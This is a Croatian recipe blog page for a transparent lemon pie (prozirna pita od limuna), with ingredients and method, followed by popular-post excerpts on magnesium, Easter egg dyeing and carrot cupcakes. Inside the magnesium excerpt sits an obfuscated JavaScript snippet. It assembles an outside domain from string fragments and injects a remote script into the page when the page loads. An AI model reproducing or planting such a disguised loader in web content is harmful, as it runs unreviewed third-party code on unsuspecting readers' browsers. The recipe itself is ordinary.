PROZIRNA PITA OD LIMUNA 🍋





Prozirna pita od limuna 




Približavanje svakog ljeta donese barem jedan desert koji privuče pažnju neobičnim izgledom, a ove godine to bi vrlo lako mogla biti prozirna pita od limuna. Na prvi pogled djeluje gotovo poput kulinarskog trika: nadjev izgleda poput stakla ili želea, a pritom zadržava intenzivan, osvježavajući okus limuna. Upravo zbog svoje lagane teksture i atraktivnog izgleda ovaj desert postao je popularan izbor za vrtne zabave, druženja i posebne prilike.





Prozirna pita od limuna 


Sastojci:

Za prhko tijesto:

  • 350 g brašna
  • 175 g hladnog maslaca
  • 80 ml ledeno hladne vode


Za prozirnu kremu od limuna:

  • 500 ml vode
  • 120 g šećera
  • 6 listića želatine
  • 60 ml limunova soka
  • 1 do 2 žličice limunske kiseline


Za puslice:

  • 2 bjelanjka
  • 100 g šećera




Priprema:

Hladni maslac narežite na kockice pa ga rukama umijesite s brašnom i ledenom vodom dok ne dobijete glatko tijesto. Oblikujte kuglu, zamotajte u prozirnu foliju i ostavite u hladnjaku oko 30 minuta. Razvaljajte tijesto na debljinu od oko 4 mm i stavite ga u kalup za tart. Višak tijesta odrežite, a dno izbockajte vilicom. Prekrijte papirom za pečenje i opteretite manjom posudom otpornom na pećnicu. Pecite oko 15 minuta na 180 °C. Ostavite da se potpuno ohladi.

Želatinu pripremite prema uputama na pakiranju. Pomiješajte mlaku vodu, šećer, limunov sok, limunsku kiselinu i želatinu dok se sve ne otopi. Smjesu ulijte u ohlađeno tijesto i stavite u hladnjak najmanje 3 sata da se stisne. Za puslice istucite bjelanjke sa šećerom dok ne dobijete čvrsti snijeg. Pomoću slastičarske vrećice nanesite puslice na pitu. Po želji ih lagano zapecite kuhinjskim brenerom.

Prozirna pita od limuna jedan je od onih deserata koji istovremeno izgledaju efektno i ostaju dovoljno jednostavni za pripremu kod kuće. Lagana tekstura i osvježavajući okus čine je idealnim izborom za toplije dane. Ako tražite nešto drugačije od klasičnih kolača, a pritom želite desert koji će privući pažnju na stolu, ovaj kolač svakako vrijedi pokušati.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više